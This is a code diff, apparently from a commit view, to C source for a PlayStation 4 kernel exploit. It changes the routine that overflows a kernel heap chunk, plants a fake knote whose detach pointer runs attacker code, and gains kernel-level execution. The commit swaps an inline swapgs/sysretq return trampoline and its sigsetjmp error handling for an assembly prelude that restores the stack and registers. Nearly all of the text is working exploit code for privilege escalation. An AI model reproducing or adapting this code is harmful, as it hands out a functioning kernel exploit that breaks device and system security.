@@ -45,7 +45,7 @@ typedef struct Ps4ExploitArgument
45
45
}
46
46
Ps4ExploitArgument ;
47
47
48
- //#define DEBUG 1
48
+ // #define DEBUG 1
49
49
#ifdef DEBUG
50
50
#define ps4ExploitDebug (...) \
51
51
do \
@@ -108,12 +108,6 @@ int ps4ExploitFree(SceKernelEqueue queue)
108
108
return sceKernelDeleteEqueue (queue );
109
109
}
110
110
111
- void ps4ExploitReturn (struct Ps4ExploitArgument * arg )
112
- {
113
- siglongjmp (arg -> sigjmpbuf , 1 );
114
- return ;
115
- }
116
-
117
111
void ps4ExploitPayload (struct knote * kn )
118
112
{
119
113
Ps4ExploitArgument * a = (Ps4ExploitArgument * )kn -> kn_kq ;
@@ -129,22 +123,28 @@ void ps4ExploitPayload(struct knote *kn)
129
123
if (a -> ret [1 ] != NULL )
130
124
ps4KernelThreadGetSecondaryReturn (td , a -> ret [1 ]);
131
125
}
132
-
133
- // Xfast_syscall
134
- // movq 0xb0(%%rsp), %%rsp;
135
- __asm__ volatile (" \
136
- movq %%gs:0x2a0, %%rsp; \
137
- subq $0xc0, %%rsp; \
138
- movq 0x40(%%rsp), %%rbp; \
139
- movq 0xa8(%%rsp), %%r11; \
140
- movq %0, %%rcx; \
141
- movq %1, %%rdi; \
142
- movq %%gs:0x2a8, %%rsp; \
143
- swapgs; \
144
- sysretq; \
145
- " : : "r" (ps4ExploitReturn ), "r" (a ));
146
126
}
147
127
128
+ void ps4ExploitPayloadPrelude (struct knote * );
129
+
130
+ __asm__(" \
131
+ .pushsection .text \n \
132
+ .global ps4ExploitPayloadPrelude \n \
133
+ .type ps4ExploitPayloadPrelude, @function \n \
134
+ ps4ExploitPayloadPrelude: \n\
135
+ call ps4ExploitPayload \n \
136
+ addq $0x30, %rsp \n \
137
+ popq %rbx \n \
138
+ popq %r12 \n \
139
+ popq %r13 \n \
140
+ popq %r14 \n \
141
+ popq %r15 \n \
142
+ popq %rbp \n \
143
+ retq \n \
144
+ .size ps4ExploitPayloadPrelude, .-ps4ExploitPayloadPrelude \n \
145
+ .popsection \n \
146
+ " );
147
+
148
148
int ps4ExploitExecute (sy_call_t * call , void * uap , int64_t * ret0 , int64_t * ret1 , Ps4ExploitStatus * status )
149
149
{
150
150
struct Ps4ExploitArgument arg ;
@@ -260,7 +260,7 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
260
260
kl = (struct klist * )(map + PS4_EXPLOIT_CHUNK_SIZE );
261
261
kn .kn_fop = & fo ;
262
262
kn .kn_kq = (struct kqueue * )& arg ;
263
- fo .f_detach = ps4ExploitPayload ;
263
+ fo .f_detach = ps4ExploitPayloadPrelude ;
264
264
kl [fd ].slh_first = & kn ;
265
265
266
266
ps4ExploitDebug ("Calling syscall, overflowing\n" );
@@ -287,23 +287,12 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
287
287
288
288
ps4ExploitDebug ("Preparing overflow return\n" );
289
289
// create return buffer, install syscall
290
- if (sigsetjmp (a -> sigjmpbuf , 1 ) == 0 )
291
- {
292
- ps4ExploitDebug ("Freeing overflow, triggering playload\n" );
293
- // free overflow, trigger playload
294
- t = ps4ExploitFree (overflow );
295
- overflow = 0 ;
296
- if (t != 0 )
297
- {
298
- a -> exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_FREE_ERROR ;
299
- goto e11 ;
300
- }
290
+ ps4ExploitDebug ("Freeing overflow, triggering playload\n" );
291
+ // free overflow, trigger playload
292
+ ps4ExploitFree (overflow );
293
+ overflow = 0 ;
301
294
302
- a -> exploitStatus = PS4_EXPLOIT_STATUS_OVERFLOW_TRIGGER_ERROR ;
303
- goto e12 ;
304
- }
305
- else
306
- ps4ExploitDebug ("Returned from triggered playload\n" );
295
+ ps4ExploitDebug ("Returned from triggered playload\n" );
307
296
308
297
ps4ExploitDebug ("Unmapping map %p %zu\n" , map , mapSize );
309
298
// free map
@@ -317,7 +306,7 @@ int ps4ExploitExecute(sy_call_t *call, void *uap, int64_t *ret0, int64_t *ret1,
317
306
goto ret ;
318
307
319
308
// FIXME: all good?
320
- e13 : e12 : e11 : e10 : e9 : e8 :
309
+ e13 : e10 : e9 : e8 :
321
310
munmap (map , mapSize + pageSize );
322
311
e7 : e6 : e5 :
323
312
ps4ExploitFree (overflow );
0 commit comments